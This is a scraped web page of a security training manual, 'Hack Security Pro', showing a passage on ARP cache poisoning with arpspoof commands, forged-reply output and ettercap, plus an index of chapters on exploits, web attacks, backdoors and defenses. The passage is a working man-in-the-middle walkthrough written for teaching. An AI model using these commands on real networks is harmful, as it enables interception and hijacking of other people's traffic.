Hack Security Pro.pdf - Index of

More documents

Recommendations

Info

The ARP protocol has never been conceived for security and this will allow us to hijack the existing connections between two machines of the same LAN. Two security problems can appear: • This protocol does not keep the states, meaning that a machine receiving an ARP response will accept it and update its cache, even if it has not sent a previous ARP request. • A machine receiving an ARP request automatically updates its cache to re-associate the IP and the MAC of the sender. It is therefore possible to forge ARP requests or responses to or from a machine in order to corrupt its cache by associating a network IP to the MAC of a hacker's machine. So when a machine B sends a packet to A's IP, it will be encapsulated in an Ethernet packet whose physical destination will be that of the hacker. By proceeding in this manner, it can also hijack the flow from B to A. This type of operation can be done manually on Linux: First of all, we must deactivate the routing on machine C: echo 1 > /proc/sys/net/ipv4/ip_forward We are then going to to send two ARP responses, one towards A and the other one towards B: The prerequisite data is: Machine IP MAC A 192.168.124.1 00:09:5B:44:AA:E4 B 192.168.124.20 00:50:22:80:B3:34 C 192.168.124.12 00:90:4B:77:CC:D1 We are going to forge packets with the help of the ARPSpoof tool (on both Linux and Windows): The options to pass are: -i : Interface -t : Optional, if all you want is to hijack the connection between a particular target and a host. host: host towards which all connections must be hijacked. If the -t option is not used, then all the connections of all the network's machines to this host will be hijacked: Laptop:/home/xdream# arpspoof 192.168.124.1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 0:90:4b:77:cc:d1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.124.1 is-at 0:90:4b:77:cc:d1 The Hackademy DMP -90/209- SYSDREAM
Let us now display the contents of machine B's ARP cache: Dantes:~# arp -a arp -a ? (192.168.124.1) at 00:90:4B:77:CC:D1 [ether] on eth0 ? (192.168.124.12) at 00:90:4B:77:CC:D1 [ether] on eth0 ? (192.168.124.15) at 00:50:BA:5D:35:6C [ether] on eth0 ? (192.168.124.10) at 00:50:8D:F9:E2:5E [ether] on eth0 We can see that machine A's address is associated to the hacker machine's MAC address. If we trace the path taken by a packet from machine B to machine A, we notice that it also passes through machine C: Dantes:~# traceroute 192.168.124.1 traceroute 192.168.124.1 traceroute to 192.168.124.1 (192.168.124.1), 30 hops max, 38 byte packets 1 192.168.124.12 (192.168.124.12) 1.093 ms 36.272 ms 1.863 ms 2 192.168.124.1 (192.168.124.1) 3.006 ms 2.242 ms 2.730 ms Another tool on both Linux and Windows can manage the whole hijacking in a more automatic way: ettercap. The version used will be the 0.6.0 one, which you will find at: http://prdownloads.sourceforge.net/ettercap/ettercap-0.6.b.tar.gz?download You can display a help panel with the h command. Select two IPs between which you want to hijack the traffic. You will then be able to sniff the connections. The Hackademy DMP -91/209- SYSDREAM
Page 1 and 2:
Hack security “pro”
Page 3 and 4:
Authors For their contribution to t
Page 5 and 6:
Chapter IV: Web Vulnerabilities....
Page 7 and 8:
INTRODUCTION TO TCP/IP NETWORKS Net
Page 9 and 10:
In case of reception, each layer wi
Page 11 and 12:
ARP heading: The Hackademy DMP -11/
Page 13 and 14:
Version: 4 bits. The version field
Page 15 and 16:
TCP header: Source Port: 16 bits. T
Page 17 and 18:
TCP/UDP Port Notions: Multiplexing/
Page 19 and 20:
Start the MS-DOS control interface
Page 21 and 22:
CHAPTER I INFORMATION ACQUISITION T
Page 23 and 24:
expires: 2005-10-28 11:28:29 create
Page 25 and 26:
In the answer field you will find:
Page 27 and 28:
nmap -sP 192.168.124.0/24 Starting
Page 29 and 30:
C) Fingerprinting the system The nm
Page 31 and 32:
It is also possible to specify seve
Page 33 and 34:
SMTP : Simple Mail Transfer Protoco
Page 35 and 36:
SNMP : Simple Network Management Pr
Page 37 and 38:
Here is a scan report obtained with
Page 39 and 40: # nmap 3.50 scan initiated Wed May
Page 41 and 42: CHAPTER II CLIENT VULNERABILITIES T
Page 43 and 44: File viruses: These viruses attack
Page 45 and 46: Retroviruses are a bit more aggress
Page 47 and 48: However, do check in the start file
Page 49 and 50: Creating a hidden gateway : But the
Page 51 and 52: infallible. It consists in associat
Page 53 and 54: DOS commands if conditional pluggin
Page 55 and 56: Each one of these zones can be conf
Page 57 and 58: The javascript code destined to dow
Page 59 and 60: The wizard will ask you the locatio
Page 61 and 62: CHAPTER III NETWORKS VULNERABILITIE
Page 63 and 64: Here, the connection between the ro
Page 65 and 66: Using the "Follow TCP Stream" optio
Page 67 and 68: You have just created a new filter.
Page 69 and 70: This handshake takes place as follo
Page 71 and 72: Third step Illustration 3: ACK To c
Page 73 and 74: The methodology of this type of att
Page 75 and 76: The case of the UDP protocol Unlike
Page 77 and 78: nc -l -v -n -p 887 Injection of com
Page 79 and 80: Let's try to connect again from mac
Page 81 and 82: We can see that Ethereal has seen i
Page 83 and 84: Conclusion The covert channel princ
Page 85 and 86: It is the IP protocol that is going
Page 87 and 88: We will simultaneously launch the p
Page 89: 5.Connections Hijacking We are goin
Page 93 and 94: B) DNS hijacking The DNS protocol i
Page 95 and 96: ssh2 protection The server's public
Page 97 and 98: B) SSL The SSL protocol functions w
Page 99 and 100: Recent viruses use the resources of
Page 101 and 102: 1.Site Mapping The first thing a ha
Page 103 and 104: Scan_web.php Scan_web.php is a PHP
Page 105 and 106: The phpinfo() function gives the ha
Page 107 and 108: ack to an error message */ if ($ok
Page 109 and 110: System() Function The System() func
Page 111 and 112: Uploading via PHP Quite often, one
Page 113 and 114: inc.php file page1.php file By ty
Page 115 and 116: There are other functions of the sa
Page 117 and 118: i=0; j=0; while (data[i] != '=') {
Page 119 and 120: system("/usr/bin/sendmail -t test@t
Page 121 and 122: In all cases, it is also important
Page 123 and 124: It is therefore vital to understand
Page 125 and 126: The error means that the SQL reques
Page 127 and 128: } else{ } $query = "UPDATE users SE
Page 129 and 130: And here is the result: We are now
Page 131 and 132: We can see that CrashFr is now in b
Page 133 and 134: Once the client has entered his pse
Page 135 and 136: CHAPTER V APPLICATION VULNERABILITI
Page 137 and 138: 2.Buffer Overflow Buffer overflow t
Page 139 and 140: xdream@Laptop:/$ readelf -a /bin/ls
Page 141 and 142:
A few assembler notions Let us see
Page 143 and 144:
Let us study the representation of
Page 145 and 146:
The program segfaulted when trying
Page 147 and 148:
We can determine that at address 0x
Page 149 and 150:
The we can look in libc6 for the ad
Page 151 and 152:
We can also see in the sources a ca
Page 153 and 154:
3. String Format Presentation Strin
Page 155 and 156:
So when the '%n' indicator is encou
Page 157 and 158:
Using dtors. bash# objdump -s -j .d
Page 159 and 160:
Security The only solution here is
Page 161 and 162:
This program is “suidroot”, whi
Page 163 and 164:
} } printf("Opening of file authori
Page 165 and 166:
} flock(fd, LOCK_UN); //Closing of
Page 167 and 168:
1.Authentication Brute force In thi
Page 169 and 170:
Hybrid attack T launch a hybrid att
Page 171 and 172:
LC3 offers 4 methods. 1. From the l
Page 173 and 174:
B) The Unix passwd file On Unix sys
Page 175 and 176:
C) Authentication service One of th
Page 177 and 178:
The first thing to do is to create
Page 179 and 180:
B) Backdoor kernel Backdoor kernels
Page 181 and 182:
CHAPTER VII GENERIC SECURITY PROCED
Page 183 and 184:
Configure snort so that it can stor
Page 185 and 186:
Pmon NT Pmon is a process monitorin
Page 187 and 188:
Here is a simple scenario. Let us t
Page 189 and 190:
Step 2 : Encoding and signing (PGP)
Page 191 and 192:
12.You can choose a separate Signat
Page 193 and 194:
B) Cryptography of hard drives Wind
Page 195 and 196:
The first time this operation is do
Page 197 and 198:
Integrity controller on Linux There
Page 199 and 200:
There are three protection levels:
Page 201 and 202:
"Program control" Section The “pr
Page 203 and 204:
The rules take the following values
Page 205 and 206:
7.VPN What is a Virtual Private Net
Page 207 and 208:
Contact 1 Villa du clos de Malevart
Page 209:
Created by trainers from The Hackad
show all

Hack Security Pro.pdf - Index of

Create successful ePaper yourself

Delete template?

Save as template?